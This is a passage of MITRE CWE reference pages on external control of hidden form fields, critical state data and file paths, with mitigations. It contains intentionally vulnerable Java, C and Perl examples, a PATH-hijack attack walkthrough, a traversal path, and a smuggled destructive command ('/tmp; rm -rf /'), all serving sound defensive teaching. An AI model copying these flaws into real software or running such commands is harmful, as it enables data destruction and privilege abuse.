Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.471Modification of Assumed-Immutable Data (MAID)
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.642External Control of Critical State Data
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.656Reliance on Security Through Obscurity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

Without appropriate protection mechanisms, the client can easily tamper with cookies and similar web data. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.
+ Demonstrative Examples

Example 1

In this example, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.

(bad code)
Example Language: Java 
String accountID = request.getParameter("accountID");
User user = getUserFromID(Long.parseLong(accountID));

Example 2

Hidden fields should not be trusted as secure parameters.

An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring:

(bad code)
Example Language: HTML 
<input type="hidden"

or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up to cross-site scripting attacks.

+ Observed Examples
ReferenceDescription
Forum product allows spoofed messages of other users via hidden form fields for name and e-mail address.
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Allows admin access by modifying value of form field.
Read messages by modifying message ID parameter.
Send email to arbitrary users by modifying email parameter.
Authentication bypass by setting a parameter.
Product does not check authorization for configuration change admin script, leading to password theft via modified e-mail address field.
Logic error leads to password disclosure.
Modification of message number parameter allows attackers to read other people's messages.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.715OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This is a primary weakness for many other weaknesses and functional consequences, including XSS, SQL injection, path disclosure, and file inclusion.

Theoretical

This is a technology-specific MAID problem.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWeb Parameter Tampering
OWASP Top Ten 2007A4CWE More SpecificInsecure Direct Object Reference
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden Form Fields." Page 75. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Embedding State in HTML and URLs", Page 1032. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Other_Notes, Relationship_Notes, Theoretical_Notes
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Modes_of_Introduction, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Web Parameter Tampering

CWE-642: External Control of Critical State Data

Weakness ID: 642
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product stores security-critical state information about its users, or the product itself, in a location that is accessible to unauthorized actors.
+ Extended Description

If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.

State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For example, an application may perform authentication, then save the state in an "authenticated=true" cookie. An attacker may simply create this cookie in order to bypass the authentication.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.15External Control of System or Configuration Setting
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.426Untrusted Search Path
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.472External Control of Assumed-Immutable Web Parameter
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.565Reliance on Cookies without Validation and Integrity Checking
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

An attacker could potentially modify the state in malicious ways. If the state is related to the privileges or level of authentication that the user has, then state modification might allow the user to bypass authentication or elevate privileges.
Confidentiality

Technical Impact: Read Application Data

The state variables may contain sensitive information that should not be known by the client.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

By modifying state variables, the attacker could violate the application's expectations for the contents of the state, leading to a denial of service due to an unexpected error condition.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

(bad code)
Example Language: Java 
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
Cookie c = cookies[i];
if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
authenticated = true;
}
}

Example 2

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

(bad code)
Example Language: Java 
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();

Example 3

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

(bad code)
Example Language: Java 
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
amt = fis.read(arr);
out.println(arr);

Example 4

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

(bad code)
Example Language:
#define DIR "/restricted/directory"

char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */

RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

(attack code)
 
  • The user sets the PATH to reference a directory under the attacker's control, such as "/my/dir/".
  • The attacker creates a malicious program called "ls", and puts that program in /my/dir
  • The user executes the program.
  • When system() is executed, the shell consults the PATH to find the ls program
  • The program finds the attacker's malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".
  • The program executes the attacker's malicious program with the raised privileges.

Example 5

The following code segment implements a basic server that uses the "ls" program to perform a directory listing of the directory that is listed in the "HOMEDIR" environment variable. The code intends to allow the user to specify an alternate "LANG" environment variable. This causes "ls" to customize its output based on a given language, which is an important capability when supporting internationalization.

(bad code)
Example Language: Perl 
$ENV{"HOMEDIR"} = "/home/mydir/public/";
my $stream = AcceptUntrustedInputStream();
while (<$stream>) {
chomp;
if (/^ENV ([\w\_]+) (.*)/) {
$ENV{$1} = $2;
}
elsif (/^QUIT/) { ... }
elsif (/^LIST/) {
open($fh, "/bin/ls -l $ENV{HOMEDIR}|");
while (<$fh>) {
SendOutput($stream, "FILEINFO: $_");
}
close($fh);
}
}

The programmer takes care to call a specific "ls" program and sets the HOMEDIR to a fixed value. However, an attacker can use a command such as "ENV HOMEDIR /secret/directory" to specify an alternate directory, enabling a path traversal attack (CWE-22). At the same time, other attacks are enabled as well, such as OS command injection (CWE-78) by setting HOMEDIR to a value such as "/tmp; rm -rf /". In this case, the programmer never intends for HOMEDIR to be modified, so input validation for HOMEDIR is not the solution. A partial solution would be an allowlist that only allows the LANG variable to be specified in the ENV command. Alternately, assuming this is an authenticated user, the language could be stored in a local file so that no ENV command at all would be needed.

While this example may not appear realistic, this type of problem shows up in code fairly frequently. See CVE-1999-0073 in the observed examples for a real-world example with similar behaviors.

+ Observed Examples
ReferenceDescription
Mail client stores password hashes for unrelated accounts in a hidden form field.
Privileged program trusts user-specified environment variable to modify critical configuration settings.
Telnet daemon allows remote clients to specify critical environment variables for the server, leading to code execution.
Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.
Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.
Calendar application allows bypass of authentication by setting a certain cookie value to 1.
Setting of a language preference in a cookie enables path traversal attack.
Application allows admin privileges by setting a cookie value to "admin."
Application allows admin privileges by setting a cookie value to "admin."
Application allows admin privileges by setting a cookie value to "admin."
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded.
+ Potential Mitigations

Phase: Architecture and Design

Understand all the potential locations that are accessible to attackers. For example, some programmers assume that cookies and hidden form fields cannot be modified by an attacker, or they may not consider that environment variables can be modified before a privileged program is invoked.

Phase: Architecture and Design

Strategy: Attack Surface Reduction

Store state information and sensitive data on the server side only.

Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Phase: Architecture and Design

Store state information on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

With a stateless protocol such as HTTP, use some frameworks can maintain the state for you.

Examples include ASP.NET View State and the OWASP ESAPI Session Management feature.

Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP23Exposed Data
+ References
[REF-528] OWASP. "Top 10 2007-Insecure Direct Object Reference". 2007. <http://www.owasp.org/index.php/Top_10_2007-A4>.
[REF-529] "HMAC". Wikipedia. 2011-08-18. <https://en.wikipedia.org/wiki/HMAC>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden Form Fields." Page 75. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships
2008-10-14CWE Content TeamMITRE
updated Description
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Relevant_Properties, Type
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-07-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Modes_of_Introduction, References, Relationships, Relevant_Properties
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Insufficient Management of User State
2009-01-12External Control of User State Data

CWE-73: External Control of File Name or Path

Weakness ID: 73
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product allows user input to control or influence paths or file names that are used in filesystem operations.
+ Extended Description

This could allow an attacker to access or modify system files or other files that are critical to the application.

Path manipulation errors occur when the following two conditions are met:

1. An attacker can specify a path used in an operation on the filesystem.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.610Externally Controlled Reference to a Resource in Another Sphere
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.642External Control of Critical State Data
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.114Process Control
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.59Improper Link Resolution Before File Access ('Link Following')
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.434Unrestricted Upload of File with Dangerous Type
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1015Limit Access
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
